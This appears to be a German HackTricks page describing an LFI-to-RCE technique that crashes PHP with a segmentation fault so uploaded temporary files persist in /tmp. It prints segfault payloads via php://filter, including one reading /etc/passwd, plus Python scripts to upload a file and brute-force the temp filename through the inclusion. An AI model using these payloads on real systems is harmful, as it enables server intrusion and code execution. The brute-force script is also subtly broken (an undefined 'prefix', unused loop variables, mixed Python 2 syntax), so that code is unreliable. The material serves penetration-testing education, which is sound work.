4.4 KiB
LFI2RCE über Segmentation Fault
{% hint style="success" %}
Lernen Sie AWS-Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen Sie GCP-Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
Gemäß den Writeups https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (zweiter Teil) und https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view verursachten die folgenden Payloads einen Segmentation Fault in PHP:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
Sie sollten wissen, dass wenn Sie eine POST-Anfrage senden, die eine Datei enthält, PHP eine temporäre Datei in /tmp/php<etwas>
mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.
Wenn Sie eine LFI finden und es schaffen, einen Segmentation Fault in PHP auszulösen, wird die temporäre Datei nie gelöscht. Daher können Sie nach ihr mit der LFI-Schwachstelle suchen, bis Sie sie finden und beliebigen Code ausführen.
Sie können das Docker-Image https://hub.docker.com/r/easyengine/php7.0 für Tests verwenden.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
{% hint style="success" %}
Lernen Sie AWS-Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen Sie GCP-Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.